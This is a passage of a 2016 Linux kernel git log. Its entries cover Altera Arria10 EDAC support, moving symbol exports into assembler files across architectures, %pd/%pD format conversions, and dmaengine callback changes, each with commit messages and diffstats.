http://lkml.kernel.org/r/1470236355-30039-1-git-send-email-Yazen.Ghannam@amd.com Signed-off-by: Borislav Petkov drivers/edac/amd64_edac.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 7c51d98de6c85b8e4e96058db1c7ac3d6007d204 Author: Thor Thayer Date: Thu Jul 14 11:06:48 2016 -0500 ARM: dts: Add Arria10 USB EDAC devicetree entry Add the device tree entries needed to support the Altera USB FIFO buffer EDAC on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Dinh Nguyen Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-11-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov arch/arm/boot/dts/socfpga_arria10.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 15ef94f4eeab70184b5c73a952d1b4defa4a57ab Author: Thor Thayer Date: Thu Jul 14 11:06:47 2016 -0500 ARM: dts: Add Arria10 DMA EDAC devicetree entry Add the device tree entries needed to support the Altera DMA FIFO buffer EDAC on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Dinh Nguyen Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-10-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov arch/arm/boot/dts/socfpga_arria10.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 485fe9e24e53fbeef7594e90eed1e09e23b9c184 Author: Thor Thayer Date: Thu Jul 14 11:06:46 2016 -0500 EDAC, altera: Add Arria10 QSPI support Add Altera Arria10 QSPI FIFO memory support. Signed-off-by: Thor Thayer Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-9-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/Kconfig | 7 +++++++ drivers/edac/altera_edac.c | 33 ++++++++++++++++++++++++++++++++- 2 files changed, 39 insertions(+), 1 deletion(-) commit c609581d1f75e6965db8258015f5ae357df477c8 Author: Thor Thayer Date: Thu Jul 14 11:06:45 2016 -0500 EDAC, altera: Add Arria10 USB support Add Altera Arria10 USB FIFO memory support. Signed-off-by: Thor Thayer Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-8-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/Kconfig | 7 +++++++ drivers/edac/altera_edac.c | 33 ++++++++++++++++++++++++++++++++- 2 files changed, 39 insertions(+), 1 deletion(-) commit e8263793b7248ec78316d5915152c105e1034a28 Author: Thor Thayer Date: Thu Jul 28 10:03:57 2016 +0200 EDAC, altera: Add Arria10 DMA support Add Altera Arria10 DMA FIFO memory support. Signed-off-by: Thor Thayer Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-7-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/Kconfig | 7 +++++++ drivers/edac/altera_edac.c | 33 ++++++++++++++++++++++++++++++++- 2 files changed, 39 insertions(+), 1 deletion(-) commit c6882fb2e83525e97663df1d2d96f29d034189ab Author: Thor Thayer Date: Thu Jul 14 11:06:43 2016 -0500 EDAC, altera: Add Arria10 NAND support Add Altera Arria10 NAND FIFO memory support. Signed-off-by: Thor Thayer Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-6-git-send-email-tthayer@opensource.altera.com [ Reformat loop in altr_edac_a10_probe() for better readability. ] Signed-off-by: Borislav Petkov drivers/edac/Kconfig | 7 +++++++ drivers/edac/altera_edac.c | 46 ++++++++++++++++++++++++++++++++++++++-------- 2 files changed, 45 insertions(+), 8 deletions(-) commit d61d96f1c9b4276a8dd486be6678971037946990 Author: Thor Thayer Date: Thu Jul 14 11:06:42 2016 -0500 Documentation: dt: socfpga: Add Arria10 QSPI EDAC binding Add the device tree bindings needed to support the Altera QSPI FIFO buffer on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-5-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov .../devicetree/bindings/arm/altera/socfpga-eccmgr.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 75e644c77d7c1d2b5414b5c8b043b7d56713f54d Author: Thor Thayer Date: Thu Jul 14 11:06:41 2016 -0500 Documentation: dt: socfpga: Add Arria10 USB EDAC binding Add the device tree bindings needed to support the Altera USB FIFO buffer on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-4-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov .../devicetree/bindings/arm/altera/socfpga-eccmgr.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit e03934173a0a4c5a0fac51d1b5e5c01a94a8b64d Author: Thor Thayer Date: Thu Jul 14 11:06:40 2016 -0500 Documentation: dt: socfpga: Add Arria10 DMA EDAC binding Add the device tree bindings needed to support the Altera DMA FIFO buffer on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-3-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov .../devicetree/bindings/arm/altera/socfpga-eccmgr.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 9dd344aed7f1855ca23db12653c900bd697f742c Author: Thor Thayer Date: Thu Jul 14 11:06:39 2016 -0500 Documentation: dt: socfpga: Add Arria10 NAND EDAC binding Add the device tree bindings needed to support the Altera NAND FIFO buffers on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Rob Herring Cc: devicetree@vger.kernel.org Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1468512408-5156-2-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov .../bindings/arm/altera/socfpga-eccmgr.txt | 32 ++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit e007c53397acb5554e226693e3bff54a312ccd96 Author: Al Viro Date: Sun Jan 17 01:13:41 2016 -0500 ia64: move exports to definitions Here we have another kind of deviation from the default case - a difference between exporting functions and non-functions. EXPORT_DATA_SYMBOL... is really different from EXPORT_SYMBOL... on ia64, and we need to use the right one when moving exports from *.c where C compiler has the required information to *.S, where we need to supply it manually. parisc64 will be another one like that. Tested-by: Tony Luck Signed-off-by: Al Viro arch/ia64/include/asm/export.h | 3 ++ arch/ia64/kernel/entry.S | 3 ++ arch/ia64/kernel/esi_stub.S | 2 + arch/ia64/kernel/head.S | 2 + arch/ia64/kernel/ia64_ksyms.c | 94 +-------------------------------------- arch/ia64/kernel/ivt.S | 2 + arch/ia64/kernel/pal.S | 7 +++ arch/ia64/kernel/setup.c | 4 ++ arch/ia64/lib/clear_page.S | 2 + arch/ia64/lib/clear_user.S | 2 + arch/ia64/lib/copy_page.S | 2 + arch/ia64/lib/copy_page_mck.S | 2 + arch/ia64/lib/copy_user.S | 2 + arch/ia64/lib/flush.S | 2 + arch/ia64/lib/idiv32.S | 2 + arch/ia64/lib/idiv64.S | 2 + arch/ia64/lib/ip_fast_csum.S | 3 ++ arch/ia64/lib/memcpy.S | 2 + arch/ia64/lib/memcpy_mck.S | 3 ++ arch/ia64/lib/memset.S | 2 + arch/ia64/lib/strlen.S | 2 + arch/ia64/lib/strlen_user.S | 2 + arch/ia64/lib/strncpy_from_user.S | 2 + arch/ia64/lib/strnlen_user.S | 2 + arch/ia64/lib/xor.S | 5 +++ 25 files changed, 64 insertions(+), 92 deletions(-) commit fb2e6fdbbdaeb94745712a7b18b628c4349de08f Author: Al Viro Date: Sun Jan 17 21:16:45 2016 -0500 sparc32: debride memcpy.S a bit unreachable code, unused macros... Acked-by: David S. Miller Signed-off-by: Al Viro arch/sparc/lib/memcpy.S | 79 ------------------------------------------------- 1 file changed, 79 deletions(-) commit 70a6fcf3283a0ac1e11737c6d90c0753f9824e9d Author: Al Viro Date: Sun Jan 17 13:09:11 2016 -0500 [sparc] unify 32bit and 64bit string.h Acked-by: David S. Miller Signed-off-by: Al Viro arch/sparc/include/asm/string.h | 34 +++++++++++++++++++++++ arch/sparc/include/asm/string_32.h | 56 -------------------------------------- arch/sparc/include/asm/string_64.h | 44 ------------------------------ arch/sparc/lib/memcpy.S | 5 ---- 4 files changed, 34 insertions(+), 105 deletions(-) commit d3867f0483103b8ff7edfdea3ef1981c03d96891 Author: Al Viro Date: Sat Jan 16 21:39:30 2016 -0500 sparc: move exports to definitions Acked-by: David S. Miller Signed-off-by: Al Viro arch/sparc/include/asm/Kbuild | 1 + arch/sparc/kernel/Makefile | 2 +- arch/sparc/kernel/entry.S | 3 + arch/sparc/kernel/head_32.S | 3 + arch/sparc/kernel/head_64.S | 7 +- arch/sparc/kernel/helpers.S | 2 + arch/sparc/kernel/hvcalls.S | 5 ++ arch/sparc/kernel/sparc_ksyms.c | 12 +++ arch/sparc/kernel/sparc_ksyms_32.c | 31 ------- arch/sparc/kernel/sparc_ksyms_64.c | 53 ----------- arch/sparc/lib/Makefile | 1 - arch/sparc/lib/U1memcpy.S | 2 + arch/sparc/lib/VISsave.S | 2 + arch/sparc/lib/ashldi3.S | 2 + arch/sparc/lib/ashrdi3.S | 2 + arch/sparc/lib/atomic_64.S | 16 +++- arch/sparc/lib/bitops.S | 7 ++ arch/sparc/lib/blockops.S | 3 + arch/sparc/lib/bzero.S | 4 + arch/sparc/lib/checksum_32.S | 3 + arch/sparc/lib/checksum_64.S | 2 + arch/sparc/lib/clear_page.S | 3 + arch/sparc/lib/copy_in_user.S | 2 + arch/sparc/lib/copy_page.S | 2 + arch/sparc/lib/copy_user.S | 2 + arch/sparc/lib/csum_copy.S | 3 + arch/sparc/lib/divdi3.S | 2 + arch/sparc/lib/ffs.S | 3 + arch/sparc/lib/hweight.S | 5 ++ arch/sparc/lib/ipcsum.S | 2 + arch/sparc/lib/ksyms.c | 174 ------------------------------------- arch/sparc/lib/locks.S | 5 ++ arch/sparc/lib/lshrdi3.S | 2 + arch/sparc/lib/mcount.S | 2 + arch/sparc/lib/memcmp.S | 2 + arch/sparc/lib/memcpy.S | 4 + arch/sparc/lib/memmove.S | 2 + arch/sparc/lib/memscan_32.S | 4 + arch/sparc/lib/memscan_64.S | 4 + arch/sparc/lib/memset.S | 3 + arch/sparc/lib/muldi3.S | 2 + arch/sparc/lib/strlen.S | 2 + arch/sparc/lib/strncmp_32.S | 2 + arch/sparc/lib/strncmp_64.S | 2 + arch/sparc/lib/xor.S | 9 ++ 45 files changed, 141 insertions(+), 265 deletions(-) commit 9445aa1a3062a75a4d9de78026816ebc941e7b99 Author: Al Viro Date: Wed Jan 13 23:33:46 2016 -0500 ppc: move exports to definitions Signed-off-by: Al Viro arch/powerpc/include/asm/Kbuild | 1 + arch/powerpc/kernel/Makefile | 4 --- arch/powerpc/kernel/entry_32.S | 2 ++ arch/powerpc/kernel/entry_64.S | 3 ++ arch/powerpc/kernel/epapr_hcalls.S | 2 ++ arch/powerpc/kernel/fpu.S | 3 ++ arch/powerpc/kernel/head_32.S | 5 +++ arch/powerpc/kernel/head_40x.S | 2 ++ arch/powerpc/kernel/head_44x.S | 2 ++ arch/powerpc/kernel/head_64.S | 2 ++ arch/powerpc/kernel/head_8xx.S | 2 ++ arch/powerpc/kernel/head_fsl_booke.S | 2 ++ arch/powerpc/kernel/misc.S | 2 ++ arch/powerpc/kernel/misc_32.S | 11 +++++++ arch/powerpc/kernel/misc_64.S | 4 +++ arch/powerpc/kernel/pci-common.c | 1 + arch/powerpc/kernel/pci_32.c | 2 ++ arch/powerpc/kernel/ppc_ksyms.c | 37 ---------------------- arch/powerpc/kernel/ppc_ksyms_32.c | 60 ------------------------------------ arch/powerpc/kernel/setup_32.c | 6 ++++ arch/powerpc/kernel/time.c | 1 + arch/powerpc/kernel/vector.S | 3 ++ arch/powerpc/lib/Makefile | 2 +- arch/powerpc/lib/checksum_32.S | 3 ++ arch/powerpc/lib/checksum_64.S | 3 ++ arch/powerpc/lib/copy_32.S | 5 +++ arch/powerpc/lib/copypage_64.S | 2 ++ arch/powerpc/lib/copyuser_64.S | 2 ++ arch/powerpc/lib/hweight_64.S | 5 +++ arch/powerpc/lib/mem_64.S | 3 ++ arch/powerpc/lib/memcmp_64.S | 2 ++ arch/powerpc/lib/memcpy_64.S | 2 ++ arch/powerpc/lib/ppc_ksyms.c | 29 ----------------- arch/powerpc/lib/string.S | 6 ++++ arch/powerpc/lib/string_64.S | 2 ++ arch/powerpc/mm/hash_low_32.S | 3 ++ arch/powerpc/sysdev/dcr-low.S | 3 ++ 37 files changed, 98 insertions(+), 131 deletions(-) commit 4dd1837d7589f468ed109556513f476e7a7f9121 Author: Al Viro Date: Wed Jan 13 13:46:22 2016 -0500 arm: move exports to definitions Signed-off-by: Al Viro arch/arm/include/asm/Kbuild | 1 + arch/arm/kernel/Makefile | 2 +- arch/arm/kernel/armksyms.c | 183 ---------------------------------- arch/arm/kernel/entry-ftrace.S | 3 + arch/arm/kernel/head.S | 3 + arch/arm/kernel/smccc-call.S | 3 + arch/arm/lib/ashldi3.S | 3 + arch/arm/lib/ashrdi3.S | 3 + arch/arm/lib/bitops.h | 5 + arch/arm/lib/bswapsdi2.S | 3 + arch/arm/lib/clear_user.S | 4 + arch/arm/lib/copy_from_user.S | 2 + arch/arm/lib/copy_page.S | 2 + arch/arm/lib/copy_to_user.S | 4 + arch/arm/lib/csumipv6.S | 3 +- arch/arm/lib/csumpartial.S | 2 + arch/arm/lib/csumpartialcopy.S | 1 + arch/arm/lib/csumpartialcopygeneric.S | 2 + arch/arm/lib/csumpartialcopyuser.S | 1 + arch/arm/lib/delay.c | 2 + arch/arm/lib/div64.S | 2 + arch/arm/lib/findbit.S | 9 ++ arch/arm/lib/getuser.S | 9 ++ arch/arm/lib/io-readsb.S | 2 + arch/arm/lib/io-readsl.S | 2 + arch/arm/lib/io-readsw-armv3.S | 3 +- arch/arm/lib/io-readsw-armv4.S | 2 + arch/arm/lib/io-writesb.S | 2 + arch/arm/lib/io-writesl.S | 2 + arch/arm/lib/io-writesw-armv3.S | 2 + arch/arm/lib/io-writesw-armv4.S | 2 + arch/arm/lib/lib1funcs.S | 9 ++ arch/arm/lib/lshrdi3.S | 3 + arch/arm/lib/memchr.S | 2 + arch/arm/lib/memcpy.S | 3 + arch/arm/lib/memmove.S | 2 + arch/arm/lib/memset.S | 3 + arch/arm/lib/memzero.S | 2 + arch/arm/lib/muldi3.S | 3 + arch/arm/lib/putuser.S | 5 + arch/arm/lib/strchr.S | 2 + arch/arm/lib/strrchr.S | 2 + arch/arm/lib/uaccess_with_memcpy.c | 3 + arch/arm/lib/ucmpdi2.S | 3 + arch/arm/mach-imx/Makefile | 1 - arch/arm/mach-imx/ssi-fiq-ksym.c | 20 ---- arch/arm/mach-imx/ssi-fiq.S | 7 +- 47 files changed, 131 insertions(+), 208 deletions(-) commit 711f5df7bf3ae7657e15edf76d671042c051ce95 Author: Al Viro Date: Tue Jan 12 13:30:03 2016 -0500 s390: move exports to definitions Acked-by: Heiko Carstens Signed-off-by: Al Viro arch/s390/include/asm/Kbuild | 1 + arch/s390/kernel/Makefile | 2 +- arch/s390/kernel/entry.S | 6 ++++++ arch/s390/kernel/mcount.S | 3 +++ arch/s390/kernel/s390_ksyms.c | 15 --------------- arch/s390/lib/mem.S | 3 +++ 6 files changed, 14 insertions(+), 16 deletions(-) commit d13ffb5630443e6112df0263969cbdfc8ab9ab57 Author: Al Viro Date: Mon Jan 11 13:04:04 2016 -0500 m68k: move exports to definitions Acked-by: Geert Uytterhoeven Signed-off-by: Al Viro arch/m68k/include/asm/export.h | 3 +++ arch/m68k/kernel/Makefile | 2 +- arch/m68k/kernel/m68k_ksyms.c | 32 -------------------------------- arch/m68k/lib/ashldi3.c | 4 ++++ arch/m68k/lib/ashrdi3.c | 4 ++++ arch/m68k/lib/divsi3.S | 3 +++ arch/m68k/lib/lshrdi3.c | 4 ++++ arch/m68k/lib/modsi3.S | 3 +++ arch/m68k/lib/muldi3.c | 4 ++++ arch/m68k/lib/mulsi3.S | 4 ++-- arch/m68k/lib/udivsi3.S | 4 ++-- arch/m68k/lib/umodsi3.S | 4 ++-- 12 files changed, 32 insertions(+), 39 deletions(-) commit 00fc0e0dda6286407f3854cd71a125f519a5689c Author: Al Viro Date: Mon Jan 11 09:51:29 2016 -0500 alpha: move exports to actual definitions Signed-off-by: Al Viro arch/alpha/include/asm/Kbuild | 1 + arch/alpha/kernel/Makefile | 2 +- arch/alpha/kernel/alpha_ksyms.c | 102 ----------------------------------- arch/alpha/kernel/machvec_impl.h | 6 ++- arch/alpha/kernel/setup.c | 1 + arch/alpha/lib/callback_srm.S | 5 ++ arch/alpha/lib/checksum.c | 3 ++ arch/alpha/lib/clear_page.S | 3 +- arch/alpha/lib/clear_user.S | 2 + arch/alpha/lib/copy_page.S | 3 +- arch/alpha/lib/copy_user.S | 3 ++ arch/alpha/lib/csum_ipv6_magic.S | 2 + arch/alpha/lib/csum_partial_copy.c | 2 + arch/alpha/lib/dec_and_lock.c | 2 + arch/alpha/lib/divide.S | 3 ++ arch/alpha/lib/ev6-clear_page.S | 3 +- arch/alpha/lib/ev6-clear_user.S | 3 +- arch/alpha/lib/ev6-copy_page.S | 3 +- arch/alpha/lib/ev6-copy_user.S | 3 +- arch/alpha/lib/ev6-csum_ipv6_magic.S | 2 + arch/alpha/lib/ev6-divide.S | 3 ++ arch/alpha/lib/ev6-memchr.S | 3 +- arch/alpha/lib/ev6-memcpy.S | 3 +- arch/alpha/lib/ev6-memset.S | 7 ++- arch/alpha/lib/ev67-strcat.S | 3 +- arch/alpha/lib/ev67-strchr.S | 3 +- arch/alpha/lib/ev67-strlen.S | 3 +- arch/alpha/lib/ev67-strncat.S | 3 +- arch/alpha/lib/ev67-strrchr.S | 3 +- arch/alpha/lib/fpreg.c | 7 +++ arch/alpha/lib/memchr.S | 3 +- arch/alpha/lib/memcpy.c | 5 +- arch/alpha/lib/memmove.S | 3 +- arch/alpha/lib/memset.S | 7 ++- arch/alpha/lib/strcat.S | 2 + arch/alpha/lib/strchr.S | 3 +- arch/alpha/lib/strcpy.S | 3 +- arch/alpha/lib/strlen.S | 3 +- arch/alpha/lib/strncat.S | 3 +- arch/alpha/lib/strncpy.S | 3 +- arch/alpha/lib/strrchr.S | 3 +- 41 files changed, 99 insertions(+), 131 deletions(-) commit 784d5699eddc55878627da20d3fe0c8542e2f1a2 Author: Al Viro Date: Mon Jan 11 11:04:34 2016 -0500 x86: move exports to actual definitions Signed-off-by: Al Viro arch/x86/entry/entry_32.S | 2 + arch/x86/entry/entry_64.S | 2 + arch/x86/entry/thunk_32.S | 3 ++ arch/x86/entry/thunk_64.S | 3 ++ arch/x86/include/asm/export.h | 4 ++ arch/x86/kernel/Makefile | 4 +- arch/x86/kernel/head_32.S | 2 + arch/x86/kernel/head_64.S | 3 ++ arch/x86/kernel/i386_ksyms_32.c | 47 ---------------------- arch/x86/kernel/mcount_64.S | 2 + arch/x86/kernel/x8664_ksyms_64.c | 85 ---------------------------------------- arch/x86/lib/checksum_32.S | 3 ++ arch/x86/lib/clear_page_64.S | 2 + arch/x86/lib/cmpxchg8b_emu.S | 2 + arch/x86/lib/copy_page_64.S | 2 + arch/x86/lib/copy_user_64.S | 8 ++++ arch/x86/lib/csum-partial_64.c | 1 + arch/x86/lib/getuser.S | 5 +++ arch/x86/lib/hweight.S | 3 ++ arch/x86/lib/memcpy_64.S | 4 ++ arch/x86/lib/memmove_64.S | 3 ++ arch/x86/lib/memset_64.S | 3 ++ arch/x86/lib/putuser.S | 5 +++ arch/x86/lib/strstr_32.c | 3 +- arch/x86/um/Makefile | 2 +- arch/x86/um/checksum_32.S | 2 + arch/x86/um/ksyms.c | 13 ------ 27 files changed, 68 insertions(+), 150 deletions(-) commit 22823ab419d8ed884195cfa75483fd3a99bb1462 Author: Al Viro Date: Mon Jan 11 10:54:54 2016 -0500 EXPORT_SYMBOL() for asm Add asm-usable variants of EXPORT_SYMBOL/EXPORT_SYMBOL_GPL. This commit just adds the default implementation; most of the architectures can simply add export.h to asm/Kbuild and start using from assembler. The rest needs to have their define everal macros and then explicitly include One area where the things might diverge from default is the alignment; normally it's 8 bytes on 64bit targets and 4 on 32bit ones, both for unsigned long and for struct kernel_symbol. Unfortunately, amd64 and m68k are unusual - m68k aligns to 2 bytes (for both) and amd64 aligns struct kernel_symbol to 16 bytes. For those we'll need asm/export.h to override the constants used by generic version - KSYM_ALIGN and KCRC_ALIGN for kernel_symbol and unsigned long resp. And no, __alignof__ would not do the trick - on amd64 __alignof__ of struct kernel_symbol is 8, not 16. More serious source of unpleasantness is treatment of function descriptors on architectures that have those. Things like ppc64, parisc, ia64, etc. need more than the address of the first insn to call an arbitrary function. As the result, their representation of pointers to functions is not the typical "address of the entry point" - it's an address of a small static structure containing all the required information (including the entry point, of course). Sadly, the asm-side conventions differ in what the function name refers to - entry point or the function descriptor. On ppc64 we do the latter; bar: .quad foo is what void (*bar)(void) = foo; turns into and the rare places where we need to explicitly work with the label of entry point are dealt with as DOTSYM(foo). For our purposes it's ideal - generic macros are usable. However, parisc would have foo and P%foo used for label of entry point and address of the function descriptor and bar: .long P%foo woudl be used instead. ia64 goes similar to parisc in that respect, except that there it's @fptr(foo) rather than P%foo. Such architectures need to define KSYM_FUNC that would turn a function name into whatever is needed to refer to function descriptor. What's more, on such architectures we need to know whether we are exporting a function or an object - in assembler we have to tell that explicitly, to decide whether we want EXPORT_SYMBOL(foo) produce e.g. __ksymtab_foo: .quad foo or __ksymtab_foo: .quad @fptr(foo) For that reason we introduce EXPORT_DATA_SYMBOL{,_GPL}(), to be used for exports of data objects. On normal architectures it's the same thing as EXPORT_SYMBOL{,_GPL}(), but on parisc-like ones they differ and the right one needs to be used. Most of the exports are functions, so we keep EXPORT_SYMBOL for those... Signed-off-by: Al Viro include/asm-generic/export.h | 94 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 94 insertions(+) commit 7f2084fa55e6cb61f61b4224d4a8bafaeee55f9f Author: Al Viro Date: Fri Jan 15 14:01:22 2016 -0500 [kbuild] handle exports in lib-y objects reliably Collect the symbols exported by anything that goes into lib.a and add an empty object (lib-exports.o) with explicit undefs for each of those to obj-y. That allows to relax the rules regarding the use of exports in lib-* objects - right now an object with export can be in lib-* only if we are guaranteed that there always will be users in built-in parts of the tree, otherwise it needs to be in obj-*. As the result, we have an unholy mix of lib- and obj- in lib/Makefile and (especially) in arch/*/lib/Makefile. Moreover, a change in generic part of the kernel can lead to mysteriously missing exports on some configs. With this change we don't have to worry about that anymore. One side effect is that built-in.o now pulls everything with exports from the corresponding lib.a (if such exists). That's exactly what we want for linking vmlinux and fortunately it's almost the only thing built-in.o is used in. arch/ia64/hp/sim/boot/bootloader is the only exception and it's easy to get rid of now - just turn everything in arch/ia64/lib into lib-* and don't bother with arch/ia64/lib/built-in.o anymore. [AV: stylistic fix from Michal folded in] Acked-by: Michal Marek Signed-off-by: Al Viro arch/ia64/hp/sim/boot/Makefile | 2 +- arch/ia64/lib/Makefile | 8 +++----- scripts/Makefile.build | 20 ++++++++++++++++++++ 3 files changed, 24 insertions(+), 6 deletions(-) commit 3baf32898e1c88792fa7cadc88f601833bdae3da Author: Al Viro Date: Sun Aug 7 12:23:38 2016 -0400 parisc: use %pD Signed-off-by: Al Viro arch/parisc/kernel/cache.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 47b34458fc937f2cbe1c0ccefbc159b6dc887f93 Author: Al Viro Date: Sun Aug 7 12:23:15 2016 -0400 lustre: use %pD Signed-off-by: Al Viro drivers/staging/lustre/lustre/llite/file.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bcd599e790d886dcd94b7325515a81fb1647d265 Author: Al Viro Date: Sun Aug 7 12:22:20 2016 -0400 gpu: use %pd Signed-off-by: Al Viro drivers/gpu/drm/drm_debugfs.c | 4 ++-- drivers/gpu/drm/msm/msm_perf.c | 4 ++-- drivers/gpu/drm/msm/msm_rd.c | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) commit 27a22096b21a88300bc986fef85ce54cb7741853 Author: Al Viro Date: Sun Aug 7 12:21:25 2016 -0400 iwlwifi: use %pd Signed-off-by: Al Viro drivers/net/wireless/intel/iwlwifi/dvm/debugfs.c | 6 ++---- drivers/net/wireless/intel/iwlwifi/mvm/debugfs-vif.c | 16 +++++++--------- drivers/net/wireless/intel/iwlwifi/mvm/debugfs.c | 4 +--- 3 files changed, 10 insertions(+), 16 deletions(-) commit f66debf1b3755039680289d83fe7a92a4ad3d77d Author: Al Viro Date: Sun Aug 7 12:20:01 2016 -0400 orangefs: use %pd/%pD Signed-off-by: Al Viro fs/orangefs/dir.c | 4 ++-- fs/orangefs/file.c | 4 ++-- fs/orangefs/inode.c | 12 ++++++------ fs/orangefs/namei.c | 44 +++++++++++++++++++++--------------------- fs/orangefs/orangefs-debugfs.c | 4 ++-- 5 files changed, 34 insertions(+), 34 deletions(-) commit fd3c69bd19244aa8cbf859561fd1b9f4ebc1d1c3 Author: Dave Jiang Date: Mon Jul 25 10:34:19 2016 -0700 dmaengine: xgene-dma: move unmap to before callback Completion callback should happen after dma_descriptor_unmap() has happened. This allow the cache invalidate to happen and ensure that the data accessed by the upper layer is in memory that was from DMA rather than stale data. On some architecture this is done by the hardware, however we should make the code consistent to not cause confusion. Signed-off-by: Dave Jiang Cc: Rameshwar Prasad Sahu Signed-off-by: Vinod Koul drivers/dma/xgene-dma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 73fc45e3ce7838e6f47228dd51144c492931e8ad Author: Dave Jiang Date: Wed Jul 20 14:13:09 2016 -0700 dmaengine: sh_shdma-base: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Signed-off-by: Vinod Koul drivers/dma/sh/shdma-base.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit ed9f2c5896baf277959ed91f6b77b03c5de2db0f Author: Dave Jiang Date: Mon Jul 25 10:34:14 2016 -0700 dmaengine: ppc4xx/adma: move unmap to before callback Completion callback should happen after dma_descriptor_unmap() has happened. This allow the cache invalidate to happen and ensure that the data accessed by the upper layer is in memory that was from DMA rather than stale data. On some architecture this is done by the hardware, however we should make the code consistent to not cause confusion. Signed-off-by: Dave Jiang Signed-off-by: Vinod Koul drivers/dma/ppc4xx/adma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 369dbadac151232960fceb83cb14473e8a4e1a36 Author: Vinod Koul Date: Thu Aug 4 18:06:13 2016 +0530 dmengine: xilinx_dma: convert callback to helper function Move the xilinx driver to new dmaengine callback Signed-off-by: Vinod Koul drivers/dma/xilinx/xilinx_dma.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 8058e25809f53cadc0438ebb8f920415a0d2ec17 Author: Dave Jiang Date: Mon Jul 25 10:34:08 2016 -0700 dmaengine: mv_xor: move unmap to before callback Completion callback should happen after dma_descriptor_unmap() has happened. This allow the cache invalidate to happen and ensure that the data accessed by the upper layer is in memory that was from DMA rather than stale data. On some architecture this is done by the hardware, however we should make the code consistent to not cause confusion. Signed-off-by: Dave Jiang Signed-off-by: Vinod Koul drivers/dma/mv_xor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a941106de4434c0173a2c6d5abedb2d1cfc11206 Author: Dave Jiang Date: Mon Jul 25 10:34:03 2016 -0700 dmaengine: fsl_raid: move unmap to before callback Completion callback should happen after dma_descriptor_unmap() has happened. This allow the cache invalidate to happen and ensure that the data accessed by the upper layer is in memory that was from DMA rather than stale data. On some architecture this is done by the hardware, however we should make the code consistent to not cause confusion. Signed-off-by: Dave Jiang Cc: Xuelin Shi Signed-off-by: Vinod Koul drivers/dma/fsl_raid.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9b335978f7081cd4fe264709599a18073e12fee2 Author: Dave Jiang Date: Mon Jul 25 10:33:57 2016 -0700 dmaengine: fsldma: move unmap to before callback Completion callback should happen after dma_descriptor_unmap() has happened. This allow the cache invalidate to happen and ensure that the data accessed by the upper layer is in memory that was from DMA rather than stale data. On some architecture this is done by the hardware, however we should make the code consistent to not cause confusion. Signed-off-by: Dave Jiang Acked-by: Li Yang Signed-off-by: Vinod Koul drivers/dma/fsldma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9686218982709122373b755c9d7457bed0872999 Author: Dave Jiang Date: Wed Jul 20 13:14:19 2016 -0700 dmaengine: documentation to the new callback mechanism Adding documentation in dmaengine/provider.txt on the usage of callback with result, callback_result, function pointer to retrieve transanction result from a DMA submission. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul 